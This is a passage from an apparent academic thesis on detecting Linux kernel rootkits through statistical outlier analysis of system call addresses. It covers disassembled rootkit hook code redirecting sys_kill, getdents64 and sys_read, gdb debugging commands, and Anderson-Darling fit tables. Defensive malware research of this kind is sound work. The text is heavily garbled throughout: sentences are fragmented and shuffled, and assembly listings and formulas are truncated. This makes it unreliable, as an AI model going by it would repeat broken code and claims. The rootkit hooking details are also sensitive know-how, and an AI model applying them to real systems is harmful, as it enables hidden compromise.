:    orl              

 figures prominently in the disassembled 

the address of the code to handle the 

at we are trying to detect, and normally our 

ion of the 

er’s al tive system call functions will be 

presented for completeness.   

 

 

 
 

sp

to syscall_badsys, which is the fun

reason for this modification is not yet clear.  Further disassembly of the 

syscall_trace_entry system call function (the function that really leads to the system call 

table) shows the following modifications: 

Dump of assembler code for function sys

0xc0104178 <syscall_trace_entry+8>:     mov    %esp,%ea
0xc010417a <syscall_t
0xc010417c <syscall_t
<do_syscall_trace> 
0xc0104181 <syscall_t
0xc0104185 <syscall_t
0xc010418a <syscall_trace_entry+26>:
0xc010418b <syscall_trace_entry+27>
0xc010418c <syscall_trace_entry+28>
 <syscall_trace_entry+29> 

race_entry+30>:    (bad) 0xc010418e <syscall_t
0xc010418f <syscall_trace_entry+31>
0xc0104191 <syscall_trace_entry+33>
 $0x89fb9374,0x81c1f6f6(%ecx) 
End of assembler dump. 
 
 Once again, the address 0xd087bf65

code.  Address 0xd087bf64 is, in reality, 

malicious system calls.  This is precisely wh

code and instruction analysis would stop here.  However, a brief discuss

malicious code for handling the attack terna
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3.3  Analysis of Malicious Code 

 Below, make note of the malicious code for handling the system calls for which 

the attacker has furnished alternatives.  After handling selected system calls, the attacker 

returns control to the normal system call process by pushing address 0xc010410F (the 

g.   

f64 to 0xd087bfaa: 

0xd087bf66:     nop 

0xd087bf68:     nop 
 cmp    $0x11c,%eax 
 jae    0xd087bf72 

0xd087bf77:     ret 

0xd087bf84:     cmp    $0x3,%eax 
xd087bf87:     je     0xd087bf9f 
xd087bf89:     push   $0xc0104108 <syscall_call> 
xd087bf8e:     ret 
xd087bf8f:     call   *0xd087c0a0 
xd087bf95:     jmp    0xd087bfa5 
xd087bf97:     call   *0xd087c0a8 
xd087bf9d:     jmp    0xd087bfa5 
xd087bf9f:     call   *0xd087c0ac 
xd087bfa5:     push   $0xc010410f <end of syscall_call> 
xd087bfaa:     ret 

 
The following code checks to see if the system call is sys_kill,  

nd if it is, redirects the system call to the malicious sys_kill system call that the attacker 

as provided at 0xd087bf8f.   

xd087bf78:     cmp    $0x25,%eax <Check if system call is ‘kill’> 
xd087bf7b:     je     0xd087bf8f <If so, redirect to malicious call> 

ext, the attacker again checks to see if the system call is sys_getdents64, and if so, 

directs the system call to the alternative, malicious sys_getdents64 furnished by the 

ttacker at 0xd087bf97, like so:   

end of the syscall_call fuction) and returnin

Dump of assembler code from 0xd087b
0xd087bf64:     nop 
0xd087bf65:     nop 

0xd087bf67:     nop 

0xd087bf69:    
0xd087bf6e:    
0xd087bf70:     jmp    0xd087bf78 
0xd087bf72:     push   $0xc0104113 <syscall_exit> 

0xd087bf78:     cmp    $0x25,%eax 
0xd087bf7b:     je     0xd087bf8f 
0xd087bf7d:     cmp    $0xdc,%eax 
0xd087bf82:     je     0xd087bf97 

0
0
0
0
0
0
0
0
0
0

 

a

h

0
0
 
N

re
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0xd087bf7d:     cmp    $0xdc,%eax 
xd087bf82:     je     0xd087bf97 

inally, the attacker checks if the system call is sys_read.  If it is indeed sys_read, the 

alling program is redirected to addresses 0xd087bf9f, where a malicious copy of 

s_read awaits.   

If necessary, it is possible to f le the malicious system calls.  

Furhter investigation may require, for examp alcious system calls be 

disassembled and analyzed  detection techniques.   
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CHAPTER IV 

 

ANALYSIS OF THE KERNEL 
 

 

g 

ing a command such as “gcc –g 

 

ls 

ith 

The strip command removes all debugging symbols from an 

bject file.  During preliminary testing, it was discovered that Debian 3.1 Release 1 with 

h a stripped kernel [38], presumably to save space.  It 

 

 

ll be 

 

4.1  Kernel Modifications 

 In order to debug a running kernel (or any other process) it is necessary to have a 

minimum amount of debugging support compiled into the binary.  Additional debuggin

symbols may be compiled into any binary simply by us

 –o binary binary.c”.  Although full debugging symbols may be compiled into 

the Linux kernel, the kernel binary would be huge.  In fact, this approach was tested and

the kernel was so large that it would not boot.  In practice, additional debugging symbo

do not need to be compiled into a kernel for the analysis necessary in this research.  

However, it is necessary that the kernel or binary in question has not been stripped w

the strip command.  

o

kernel version 2.4.27 installs wit

was necessary to rebuild the kernel in order to have even basic debugging ability for this

research.   

 As previously mentioned, the Linux operating system may access up to 4 

Gigabytes of virtual memory in a default configuration, with memory addresses between

0x00000000 and 0xFFFFFFFF in hexadecimal notation.  The kernel which wi
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used in this research has had support for 4 Gigabytes of memory removed, and now on

supports up to one Gigabyte of memory.  None of the hardware to be used in these 

experiments has four Gigabytes of memory, but if statistical outliers may be detecte

one Gigabyte (or less) memory space, detecting those same outliers in a four Gigabyte 

memory space should pose much less of a challenge.   

 

ly 

d in a 

Another tool available for kernel debugging is the Linux kernel debugger (kdb).  

relimi d in 

 

tegory includes but one application, the GNU debugger, or gdb.  Gdb is a 

urce level debugger, and includes facilities for examining memory, disassembly, 

ocesses, scripting support, and many other functions.  Gdb does 

el 

P nary experiments have shown kdb to be unstable and problematic when use

conjunction with XWindows.  Performance in terminal mode is much better, however 

many of the commands covered in the documentation do not appear to be implemented.  

It is mentioned here because it required two kernel patches and recompilation of the

kernel to implement.   

 

4.2  Memory Analysis Toolset 

 Two categories of memory analysis tools were selected for use in this research.  

The first ca

so

attaching to running pr

require a minimum set of debugging symbols to be compiled into the binary to be 

debugged, but in practice this simply requires that the debugging target must not have 

been stripped in order to save space.  Debugging a running kernel with gdb requires the 

kernel binary (typically /boot/vmlinux) and a core file for the running kern

(typically /proc/kcore).  Gdb has proven indispensable in kernel debugging for the 
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purpose of rootkit detection, and will be a primary application used in this researc

41] 

h [39-

The second category of memory analysis tool consists of the Linux kernel 

ebugger, kdb.  The kernel debugger consists of two kernel patches, and requires that the 

kernel be recompiled i ave shown kdb to be 

unstable, particularly when used in conjunction with XWindows, and a substantial 

portion of the com red in the kdb documentation do not appear to be 

implemented.  Further adding to these problems, kdb does not appear to support output 

redirection and other Unix command line convenienc he difficulty of 

utilizing it for any han a curs  examina nd 

memory.   

 

4.3  Kernel Symb

Within the Linux kernel, there are many symbols – functions, variables, and so 

n.  Wh

d 

 

d

n order to use kdb.  Preliminary experiments h

mands cove

es, adding to t

thing other t ory tion of kernel structures a

ols 

 

o en the kernel is compiled, a file called /boot/System.map is generated as 

part of the compilation process.  More specifically, /boot/System.map is generate

using the nm command, such as ‘nm /boot/debug/vmlinux-2.6.8’.  

The nm command lists symbols from given object files.  The form of the output consists 

of the symbol value (memory address), symbol type, and symbol type.  A typical 

system.map file consists of well over twenty thousand entries, but a sample is 

provided table 4.1, below. 
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Table 4.1:  sample system.map file contents 

Hex Address Symbol Type System Call 
c011b540 T Sys_rt_sigprocmask 

c011b6b0 T Copy_siginfo_to_user 

c011baf0 T sys_kill 

c011bd00 T Sys_rt_sigqueueinfo 

c011bf20 T do_sigaltstack 

sys_rt_sigaction 
11c240 T sys_sgetmask 

c011c260 T sys_ssetmask 
nal 

 

 

text file

wishes t should be re-created using the nm 

com a e of 

debugg ed in debugging the 

ker . ymbols may be obtained by issuing the 

‘info functions debugger, gdb.   

 at), 

sym bol name are very 

stra t  additional explaination.  There are fifteen 

diff n

• 

• 

c011b610 T do_sigpending 
c011b6a0 T sys_rt_sigpending 

c011b840 T Sys_rt_sigtimedwait 

c011bb50 T sys_tgkill 
c011bc30 T sys_tkill 

c011bd70 T do_sigaction 

c011c060 T sys_sigpending 
c011c080 T sys_sigprocmask 
c011c180 T 
c0

c011c2a0 T sys_sig

Furthermore, it should be noted that the /boot/System.map file is merely a 

 residing on the filesystem, and may be easily modified by an attacker.  If one 

to depend on this file for debugging purposes, i

m nd as explained previously.  This file is important in that it is a primary sourc

ing information (system call function names and addresses) us

nel   Additionally, a listing of kernel function s

’ command from within the GNU 

Table 4.1 consists of a symbol value (memory address in hexadecimal form

bol type, and symbol name.  Symbol value and sym

igh forward, but symbol type merits

ere t symbol types that may exist within the kernel [42].  These are: 

"A":   The symbol's value is absolute, and will not be changed by further linking. 

"B":  The symbol is in the uninitialized data section (known as BSS) 
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• "C":  The symbol is common.  Common symbols are  uninitialized  data.  When  

linking, multiple common symbols may appear with the same name.  If the 

symbol is defined anywhere,  the  common  symbols are treated as undefined 

references. 

"D":  The symbol is in the initialized data s• ection. 

al 

is a GNU 

• 

  

•  a 

• "G":  The symbol is in an initialized data section for small objects.  Some object 

file formats permit more efficient access to  small data  objects,  such  as  a glob

int variable as opposed to a large global array. 

• “I":  The symbol is an indirect reference to another symbol.  This 

extension to the a.out object file format which is rarely used. 

• "N":  The symbol is a debugging symbol. 

• "R":  The symbol is in a read only data section. 

• "S":  The symbol is  in  an  uninitialized  data  section  for  small objects. 

• "T":  The symbol is in the text (code) section. 

• "U":  The symbol is undefined. 

"V":  The  symbol  is  a  weak object.  When a weak defined symbol is linked 

with a normal defined symbol, the normal defined  symbol  is  used with no error.

When a weak undefined symbol is linked and the symbol is not defined, the value  

of  the  weak  symbol becomes zero with no error. 

"W":  The  symbol  is  a  weak  symbol that has not been specifically tagged as

weak object symbol.  When a weak defined symbol  is linked  with a normal 

defined symbol, the normal defined symbol is used with no error.  When a weak 
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undefined symbol is  linked and  the  symbol  is  not defined, the value of the 

weak symbol becomes zero with no error. 

• 

ile format specific. 

4.4  Linux Kernel Modules 

 Many linux kernel rootkits take of the form of loadable kernel modules.  Linux 

kernel developers, perhaps in an attempt to slow the further development of linux kernel 

rootkits, have made substantial changes in the way that linux kernel modules are handled 

between kernel version 2.4 and kernel version 2.6 [43].   

 The most significant change to Linux kernel modules in the move from Linux 

kernel version 2.4 and Linux kernel version 2.6 is that Linux kernel modules are loaded 

much differently.  The typical user will not notice any difference with the exception that 

the suffix for the Linux kernel module has changed.  Programmers use high level tools to 

manage the creation of Linux kernel modules, and the interface to these tools has not 

changed [43].   

"-":  The symbol is a stabs symbol in an a.out object file.  In  this case,  the  next  

values printed are the stabs other field, the stabs desc field, and the stab  type.  

Stabs symbols are used to hold debugging information. 

• "?":  The symbol type is unknown, or object f

 From looking at the /boot/System.map file (or by re-creating it with the nm 

command), we can see that since system call functions are in the text section of the 

kernel, they will always have a symbol type of “T”.  The system call table, being in the 

initialized data section of the kernel, will always have a symbol type of “D”.  This 

concept is further illustrated in Figures 3.1 and 3.2.   
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 In Linux kernel version 2.4, some program running in user space would interpret

the Linux kernel module file (mymodule.o), link it to the running kernel, and generat

finished binary image. This program would then pass the binary image to the kernel and 

the kernel would simply place it into memory [43].  

 

e a 

 

he Linux kernel module object file, the file 

 name  

 

s a 

In Linux kernel version 2.6, the procedure for creating a loadable kernel module 

rnel module in Linux kernel version 2.6, 

odule file requires. This file will be 

ferred to as the .mod file because the suffix of the file is typically ".mod".  Next, the 

 links the result with the original object file (*.o) 

 

 In Linux kernel version 2.6, it is the kernel that does the linking. Some user space 

program passes the contents of the Linux kernel module object file directly to the kernel. 

In order to function correctly, the Linux kernel module object image must contain some

additional information. To correctly identify t

is d with suffix ".ko" ("kernel object") instead of ".o".   Obviously, there exists an

all new modutils package for use with Linux kernel version 2.6. In this new package,

insmod is a very small program, compared to the insmod command that include

fully functional linker in Linux kernel version 2.4 [43]. 

 

is more involved. In order to create a loadable ke

a programmer starts with a regular object (*.o) file. The programmer would then use the 

command modpost on the object (*.o) file in order to create a C source file that 

describes the additional sections the loadable kernel m

re

programmer compiles the .mod file and

to create the final loadable kernel module (*.ko) file [43]. 

 The .mod object file contains the name that the loadable kernel module instance

will have when it is loaded.  This name is set with the -D compile option during the 
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compilation of the .mod file, which sets the KBUILD_MODNAME macro.  This change 

complicates some things for the programmer or system administrator [43].   

 For example, changing the name for the loadable kernel module instance in Linux 

n with the 

e 

wants to load it with some other name, they must accomplish this by 

building the loadable kernel module before passing it to the command insmod [43].   

 
 

.5.1 

kernel version 2.4 could be accomplished by using the “-o” command line optio

insmod command.  However, in Linux kernel module 2.6 there is no such command 

line option for the command insmod [43].   

 The name of the loadable kernel module is part of the object file (*.o) that the 

programmer passes to the kernel. The default name is built into the object, but if th

programmer 

re

 

4.5  Kernel Debugging:  Selected Commands 

 In order to begin debugging the Linux kernel, one may issue several commands at

the operating system level or from a debugger (gdb).  Some of these commands, and 

accompanying explanations, are shown below [39].   

 

4 Operating system commands 

 /usr/bin/nm /usr/src/linux-2.4.27/vmlinux.  The file 

/boot/System.map contains all of the symbols available in the kernel.  However, 

 

d, 

the administrator completes 

this file is only a text file available to anyone with superuser access.  As such, it should

not be trusted, and this command will reproduce the contents of this file.  The operan

/usr/src/linux-2.4.27/vmlinux, is created when 
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the process of recompiling the Linux kernel.  The information  produced by this 

command is invaluable for use in debugging the kernel [42].   

 gdb /usr/src/linux-2.4.27/vmlinux /proc/kcore.  

 

 
ds 

 

nge 

ss of a 

Furthermore, if the kernel located at /usr/src/linux-2.4.27/vmlinux is the 

currently running boot kernel, it may be debugged by executing this command.  The 

command gdb is the GNU debugger, the file /usr/src/linux-2.4.27/vmlinux

is the kernel binary, and the file /proc/kcore is an alias for the memory in the 

computer .   

 

4.5.2  Debugger Comman

 Once the system administrator has issued a debugging command such as  

gdb /usr/src/linux-2.4.27/vmlinux /proc/kcore, it is then possible 

to issue debugger commands and examine the state of the kernel.  These commands ra

in purpose from printing the contents of the system call table, printing the addre

given system call, or disassembling system calls [39].   

 x/252 sys_call_table.  This command simply prints the addresses in th

system call table for Linux kernel version 2.4.27.  Once obtained, these addresses can be 

analyzed for the presence of outliers using a variety of methods.   

 p sys_read

e 

.  The “P” debugger command is used to print the address of an 

object (system call, variable, etc.) within the kernel.  This is useful for checking the 

address of kernel components that are commonly attacked.   
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 disass sys_read.  The “disassemble” debugger comand simply allows 

for the disassembly of kernel functions.  This functionality is essential for the detection of 

runtime kernel patching rootkits.   

 info functions.  This command outputs the memory address and name of 

every exported function within the kernel.  This command is particularly valuable, since 

runtime kernel patching rootkits may be able within the kernel as 

ell.  As such, it is important to obtain a list of all exported kernel functions so that they 

ay be checked for traces of rootkit infection. 

 

4.5.3  Data Acquisition  

 Typically, the data analyzed in this research is acquired by issuing debugging 

commands from within gdb, the GNU debugger.  As explained in detail in section 4.5.2, 

the addresses in the system call table may be retrieved using the debugger command  

`x/252 sys_call_table` and is used in detecting the system call table 

modification attacks using the general and normal distribution models.   

 individual system calls are obtained by issuing 

e 

 

 

 to attack any function 

w

m

 The jump instructions from the

commands similar to `disass sys_read` which yields the disassembled code for th

entire sys_read system call.  As a second step, a small perl program collects the operands 

of the jump instructions from this disassembled code.  This data is then used to detect the

system call target modification attack using general and normal distribution models.   
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CHAPTER V

 

USING GENERAL DISTRIBUTION MODELS 

 

 In this chapter the details of detecting the system call table modification attack 

will be explored more thorougly.  Section 5.1 includes definitions and a formal model, 

s.  

An in depth discussion of basic statistical methods used in outlier analysis is presented in 

section 5.3.  Experimental results from the detection efforts against four different 

rootkits, each employing the system call table modification attack, are presented in 

section 5.4.  Finally, conclusions from this approach are presented in section 5.5.   

 

DETECTING SYSTEM CALL TABLE MODIFICATION ATTACKS  
 

 

 

while section 5.2 includes a necessary discussion regarding different hardware platform

 
5.1  Definitions and Formal Model 

 Definition of an outlier.  Anyone who has analyzed several sets of real data ha

probably noticed ‘outliers’.  An intuitive definition of an outlier is “an observation which 

deviates so much fr

s 

om other observations as to arouse suspiciouns that it was generated 

y a different mechanism [44]”.  Scrutinizing a sample containing one or more outliers b

would show characteristics such as large gaps between “inlying” and “outlying” 

observations, and the difference between them as measured by some standardized  
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metric [44].  Therefore, the formal definition of an outlier is “an observation that lies 

outside the overall pattern of a distribution [45].”   

Definition of a discordancy test.  Typically, outliers are either accomodated or 

ating 

sence of a desire to 

ccommodate outliers, statistical tests are needed to determine whether or not an 

 

 

rejected.  Since the focus of this research is the detection of kernel rootkits, accomod

their presence would not be appropriate.  In this instance, the goal is to reject them or at 

least identify them as features of special interest [46].  In the ab

a

observation is to be regarded as a member of the main population.  These statistical tests

are known as discordancy tests [46].   

 Definition of a kernel rootkit.  A kernel rootkit can be defined as some program 

2, whi

the 

 p’ [14].   

g 

p ch mimicks a subset of operating system functionality known as program p1.  

Therefore, p1 is a subset of p2.  The functionality that exists in p2, but not p1, would be 

additional functionality provided by the kernel rootkit in order to maintain control of a 

compromised system, attack other systems, destroy evidence, and decrease the chance of 

being detected by system administrators.  More formally, the kernel rootkit functionality 

can be expressed as p2 – p1 =

 Kernel rootkits attack the operating system by way of modifying system call 

memory addresses.  As previously discussed, this is accomplished through the followin

mechanisms [14]: 

 

System call table modification – Changes the addresses of the system calls in the system 

call table to point to similar, but malicious, system calls located much higher in memory. 
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System call table redirection – Modifies the system call handler, changing the address

the system call table to a similar, but malicious system call table much higher in mem

 

System call target modification

 of 

ory. 

 – Directly modifies the system call instructions (via 

runtime kernel patching), inserting a jump instruction to a location much higher in 

laye of red ection

ups f  mem

rnel nction lity p1

M

 

o

s 

 

ast on a general level.  This includes two interrelated groups of 

ystem l 

st 

 knowledge will be general, obtained by 

memory which contains a similar, but malicious, system call.   

 

 Clearly, each of these mechanisms adds one successive r ir  to a 

simple memory redirection attack.  We are interested in two related gro  o ory 

addresses of both kernel rootkit functionality p2 and normal ke fu a .   

 Memory addresses for normal kernel system calls will be represented as 1(p1) 

for all system calls, and M2(p1) for the subset of system calls in the system call table.  

Memory addresses for system calls modified by rootkit functionality will be represented 

as M1(p2) for all system calls, and M2(p2) for the subset of system calls in the system call

table.  Burdach [16] has proposed that system call addresses modified by kernel r otkits 

can be considered outliers.   

 The new framework for detecting kernel rootkits through outlier analysis include

several key features.  First, it is necessary to understand the underlying distribution of

system call addresses, at le

s  call addresses:  all system call addresses in the kernel, or s1; and system cal

addresses only in the system call table, or s2.  Therefore, s2 is a subset of s1.   

 Second, both s1 and s2 will best fit some known distributions with discordancy te

scores of D1 and D2.  However, this
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experimentation with many different operating system/architecture pairs.  If a kernel 

rootkit is present, s1 and s2 will be transformed to s1’ and s2’, and D1 and D2 will be 

transformed into some less well fitting values D1’ and D2’.  Finally, one discordancy test t 

will be selected to test for the presence of outliers.  In this case, the chosen discordancy 

test is the Anderson-Darling goodness of fit test. 

 Formal Model.  The model and approach just described can now be formalized.  

The formalized technique is described below.   

s1 = M1(p1) - All sysem call addresses in the uninfected kernel   (5.1) 

2 = M2(p1) - System call addresses in the uninfected system call table  (5.2) 

1’ = M1(p2) - All sysem call addresses in the infected kernel   (5.3) 

s2’ = M2(p2) - System call addresses in the infected system call table  (5.4) 

D1 = t(s1) - Discordancy test for all system call addresses in the uninfected kernel (5.5)   

D2 = t(s2) - Discordancy test for system call table addresses in uninfected kernel   (5.6) 

D1’ = t(s1’) - Discordancy test for all system call addresses in the infected kernel (5.7) 

D2’ = t(s2’) - Discordancy test for system call table addresses in infected kernel (5.8) 

 Note that s1 and s2 are derived from general knowledge in that they are obtained 

from experimentation across mutliple operating system/architecture pairs, while s1’ and 

s2’ are obtained from the specific system under study.  If D ’ > D  or D2’ > D2 then a 

rootkit has been detected. 

 If a rootkit has been ime, until the 

discordancy test returns to cl f the outliers is 

constrained by operating sys rs are always in the 

right hand tail of the distribu

s

s

1 1

detected, outliers are removed, one at a t

ose to normal.  Note that the location o

tem mechanics, so we know that outlie

tion.   
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 L s2j be 

the largest (right most) syste

s1’ = s1’ – s1j’          (5.9) 

s2’ = s2’ – s2j’          (5.10) 

D1’ = t(s1’)          (5.11) 

D2’ = t(s2’)          (5.12) 

And again, if D1’ > D1 or D2

ntil th

5.2  Hardware Platforms 

 One consideration that is critical to the success of this research is that the 

distribution of system call addresses for a specific kernel version must be very close 

across various architectures.  This is a necessity if analysis is to occur without additional 

a priori knowledge of the specific system under study.  Preliminary experiments were 

conducted on a 32-bit Intel machine and a 64-bit SPARC machine with different kernel 

compilation options in order to test this hypothesis.  Tables 5.1 and5.2, below, summarize 

the results of these experiments. 

Table 5.1:  Distribution fits from 32-bit Intel machine, kernel 2.4.27 

DistributionDistribution  AD-Score  

3-Parameter Loglogistic    7.357    
Logistic                   7.361   
Loglogistic                7.364  
Lognormal                  7.495  
Normal                     7.495  
3-Parameter Lognormal      7.512    

Weibull                   11.982  

 

et s1j be the largest (right most) system call address in the kernel, and let 

m call address in the system call table.  

’ > D2 then a rootkit has been detected. 

U e kernel rootkit is fully detected – that is, until D1’ <= D1 and D2’ <= D2. 

 

 

Largest Extreme Value      5.228   
3-Parameter Gamma          6.244    

3-Parameter Weibull       11.949  
Smallest Extreme Value    11.958  

2-Parameter Exponential   82.486 
Exponential              116.040 
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Table 5.2:  Distribution fits from 64-bit SPARC machine, kernel 2.4.27 

Distribution             AD-Score  
Loglogistic               10.596  
Largest Extreme Value     11.631  
Logistic                  11.760  

Gamma                     20.411  
Normal                    23.273  

3-Parameter Weibull       31.932  
3-Parameter Loglogistic   33.908   

Lognormal                 19.104  

3-Parameter Gamma         25.861   

Smallest Extreme Value    40.587  

 

SPARC machine used in preliminary testing.  However, largest 

xtrem ore 

g 

 

 
se 

Weibull                   35.818  
3-Parameter Lognormal     36.736   

2-Parameter Exponential   52.937 
Exponential              101.512  

 While the largest extreme value distribution best fits the system call table 

addresses from the 32-bit Intel machine, it was not the best fit for the system call 

addresses for the 64-bit 

e e value is still a very good fit (a close second) for the SPARC.  While many m

observations are necessary to make claims of goodness-of-fit for the system call 

addresses for various categories of computers, this result suggests that this may be 

possible, especially for machines of different architectures but having the same operatin

system and/or kernel version.   

 Experience has shown that Linux seems to be developed for and works best with 

the Intel architecture.  Installing, compiling, and loading custom modules with Linux on 

SPARC was problematic but was eventually successful [47-49].  Challenges such as this 

should be expected and planned for with the inclusion of additional architectures.   

 

5.3  Statistical Methods 

 There exist many discordancy tests for detecting outliers in univariate data.  The

include tests for samples that fit many underlying distributions – gamma, exponential, 
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normal, log-normal, truncated exponential, uniform, gumbel, frechet, weibull, pareto, 

poisson, and binomial distributions [46].  Experiments show that the data analyzed in

chapter tends to fit the largest extreme value best.  Furthermore, most discordancy tests 

 this 

e of 

nd identify individuals that deviate from the distribution.  This 

pproach is common in statistics, but does not scale well [50].  Using this approach, two 

ts are discussed in more detail in 

suggests the 

y 

 

n be used with any underlying 

 

ally explore 

hborhood and do not rely on the underlying distribution of the data [50].  Knorr 

require at least an estimate of the number of outliers, and their locations.  The purpos

this research is to identify outliers without a priori knowledge of this kind.   

 A general and early approach to identifying outliers is to identify the underlying 

distribution of the data a

a

LKM rootkits were successfully detected.  These resul

the following section.   

 The preliminary model in this research utilizes the method mentioned in the 

previous paragraph, in conjunction with the Anderson-Darling goodness-of-fit test to 

identify individuals that deviate from the underlying distribution.  Hawkins 

possibility of using any goodness-of-fit test as the basis for an outlier test, and that an

good candidate for an outlier test would emphasize the quality of fit in the tails – one 

such test is the Anderson-Darling goodness-of-fit test [44].  The possibility of using the

Anderson-Darling test as an outlier test does not seem to have been investigated, but was 

promising since this statistic is completely general and ca

distribution [44].  This fact alone makes the Anderson-Darling goodness-of-fit test 

preferable to any previously mentioned discordancy tests for univariate data.   

 Distance based approaches to outlier analysis have been investigated by

Ramaswamy et al. [36] and Knorr & Eng [32;35].  These techniques typic

some neig
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& Eng identify outliers by counting neig s withinhbor  a specified radius, with the radius 

o parameters [50].  Ramaswamy et al. 

es to their nearest neighbors [50]. 

Breunig et al. have investigated a density based technique to score data points using 

est 
 

. It is 

s 

that the 

ith a statistical 

ution function F is  

2 = N

and threshold number of points as the only tw

identify outliers by calculating the sum of the distanc

“local outlier factor”, a measure of outlyingness calculated for each data point [33;34;50].  

Jin et al. introduced a method for more efficiently identifying top outliers using the local 

outlier factor [37;50].   

 

5.3.1  The Anderson-Darling Goodness of Fit T

 The Anderson-Darling tests if a sample comes from a particular distribution

a modification of the Kolmogorov-Smirnov (K-S) test that gives more weight to the tail

of the distribution than the K-S test.  The K-S test is distribution free in the sense 

critical values do not depend on the specific distribution being tested [51].  

 The Anderson-Darling test utilizes the specific distribution when calculating 

critical values. This approach has the advantage of producing a more sensitive test and 

the disadvantage that critical values must be calculated for each distribution. Tables of 

critical values are not usually not supplied, since the test itself is applied w

software program that produces the critical values [51].  

 The Anderson-Darling test determines whether data comes from a specific 

distribution.  The formula for the test statistic A to assess if data (this data must be 

ordered) comes from a distribution with cumulative distrib

A  – S       (5.13) 

Where:   
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∑ −
=

Nk /12

ecified distribution. 

S = 
N

k 1
 [ln F(Yk) + ln(1 – F(YN+1-k))]  (5.14) 

H0 = The data fits the specified distribution. 

H1 = The data does not fit the sp

α  = Si

 

r 

ded 

ic that should be compared against the 

l 

er 

 should be used when critical values 

y 

Stephens, and support several well known distributions.   

gnificance level. 

 The critical values for the Anderson-Darling goodness-of-fit test are dependent on

the specific distribution that is being tested. Values and formulas have been published fo

a few particular distributions. The Anderson-Darling goodness-of-fit test is a one-si

test and the hypothesis that the distribution fits a specific form is rejected if the test 

statistic, A, is larger than the critical value [51]. 

 For a given distribution, the Anderson-Darling goodness-of-fit test may be 

multiplied by a constant - which typically depends on the sample size. These constants 

are presented in various papers by Stephens [44]. This is known as the "adjusted 

Anderson-Darling" statistic. This is the metr

critical values.  Different constants (and therefore different critical values) have been 

published.  It is important to be aware of what constant was used for a given set of critica

values.  The necessary constant is typically given with the critical values [51].  A small

Anderson−Darling score indicates that the distribution fits the data better. 

 The Anderson-Darling goodness-of-fit score

for the underlying distribution have been published or are otherwise available (as in the 

use of a statistical software program).  These values are available in papers published b
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 Additionally, if a test that is sensitive to quality of fit in the tails of the 

distribution is desired, the Anderson-Darling goodness-of-fit score should be used.  One 

notable limitation of the Anderson-Darling test is that it, along with the Kolmogorov-

mirno ibution 

ness-

en working 

ribution than at the tails, another test, such as the 

olmo

or 

 

d.  It is appealing because the Anderson-Darling goodness-of-fit 

test is an 

i-Square and Kolmogorov-Smirnov (K-S)  goodness-of-fit tests.   

S v test, are limited to continuous distributions.  If the data fit a discrete distr

closely, such as the binomial distribution, another test such as the Chi-Square good

of-fit test should be used [51].   

 Since the Anderson-Darling goodness-of-fit score relies upon the calculation of 

critical values based on a specific distribution, the test should not be used wh

with some underlying distribution where critical values have not been calculated or are 

not otherwise available.  Additionally, if the researcher requires a test that is more 

sensitive near the center of the dist

K gorov-Smirnov test, should be used [51].   

 Sample skewness and kurtosis are typically considered as test statistics used f

testing whether a sample is normal, and the presence of outliers is a way in which the 

distribution may depart from normality.  This suggests that it is possible to use any 

goodness-of-fit test as an outlier test [44].   

 However, the idea of using the Anderson-Darling as an outlier test doesn’t appear

to have been investigate

test is completely general and may be used for any underlying continuous distribution 

F0(x) (where critical values are available).  The Anderson-Darling goodness-of-fit test 

also emphasizes the quality of fit in the tails [44].  

 Why not choose some other goodness-of-fit test?  The Anderson-Darling 

alternative to the Ch
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The Anderson-Darling goodness-of-fit test is also more sensitive to the quality of fit in 

 is the Kolmogorov-Smirnov (K-S) goodness-of-fit test, 

aking

 

 

 

ategor

n 

ossible 

ot elsewhere.  This is true for many other 

ass, 

ill 

he 

the tails of the distribution than

m  it more appropriate for outlier analysis [51]. 

 The Chi-Square goodness-of-fit test must be applied to data that has been 

categorized or “binned” [51].  This is not a significant restriction because for non-

categorized data one can simply calculate a histogram or frequency table before applying

the Chi-Square test. However, the result of the Chi-Square test is dependent on how the

data is categorized. The data used in this research doesn’t lend itself well to

c ization, and any categorization would be essentially meaningless.  An additional 

disadvantage of the Chi-Square test is that it requires a sufficiently large sample size i

order for the test to be valid [51]. 

 One possible procedure for identifying outliers is to conduct a check on the 

assumptions in the model.  If conducting some analysis assuming normality of data, 

various checks would be applied to the data to ensure that the model fits.  One p

test would be a goodness-of-fit test, and this test would need to be sensitive to the fit in 

the tails of the true underlying distribution, but n

techniques as well, where high kurtosis and skewness are the most damaging departures 

from the model [44].   

 The use of a goodness-of-fit test should be regarded as a screen – if the data p

then the standard analytic procedure will be applied.  Otherwise, some other action w

be taken.  These actions include, but are not limited to, removing the outliers from t

sample and carrying out the original proposed analysis on the remaining ‘clean’ 

observations [44].   
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5.3.2  Specific Distributions 
 

te 

s for extreme 

me-value distribution’ [46].  In the 

ontext of using minitab, the largest extreme value distribution and smallest extreme 

alue distributions are simply the two forms of the gumbel distribution.  The gumbel 

distribution is also a special case of the fisher-tippett distribution.  The fisher-tippett 

istribution is also known as the log-weibull distribution.  The gumbel distribution is 

used to find the maximum (or minimum) of a number of samples from various 

distributions.  The gumbel distribution has a cumulative distribution of F(x) = e-e(-x) and a 

probability density function of F(x) = e-xe-e(-x).   

 A property of the gumbel distribution is that as the standard deviation decreases, 

the gumbel distribution’s pdf becomes taller and narrower.  Our data has a very small 

standard deviation, contributing to the goodness-of-fit for the gumbel distribution.   

 The gumbel distribution also has a location parameter, which is equal to the 

mode, but different than median and mean.  This is due to the fact that the gumbel 

distribution is not symmetric around it’s location parameter.  In the data for this research, 

e mode is much closer to the median than it is to the mean.  Like the gumbel 

 When working with asymptotic extreme-value distributions, it is important to no

that there are first, second, and third order types, also known as the Gumbel, Frechet, and 

Weibull distributions.  These distributions are well known as model

observations such as maximum annual wind speeds, floods, endurance limits in fatigue 

testing, annual minimum temperatures, and so on.  Each of these distributions has two 

forms, each as it relates to the greatest-value or least-value extremes [46]. 

 The Gumbel distribution is known as ‘the extre

c

v

d

th
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distribution, this means that our data is not symmetric around the location parameter (the 

ode), further contributing to the good fit for this distribution.   

 Two very well fitting distributions for the memory addresses in the system call 

table were the largest extreme value and logistic distributions.  In figures 5.1 and 5.2, we 

can see that largest extreme value fits slightly better than logistic.   

 Finally, the gumbel distribution is used to find the minimum (or maximum) of a 

number of samples from various distributions.  It is possible that system call addresses in 

even a clean system are generated by more than one underlying distribution, which may 

explain why the gumbel distribution may fit so well.   
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5.4  Experimental Results 

 As previously mentioned, there have been several attempts at preventing and 

detecting the deployment of rootkits, but they require some form of a priori knowledge 

about the specific system under observation.  This technique will employ the GNU 

debugger and other memory analysis tools, and possibly other techniques, to detect 

rootkits, through formal, rigorous analysis of the data.   

 When a Linux Kernel Module rootkit is installed, several of the entries in the 

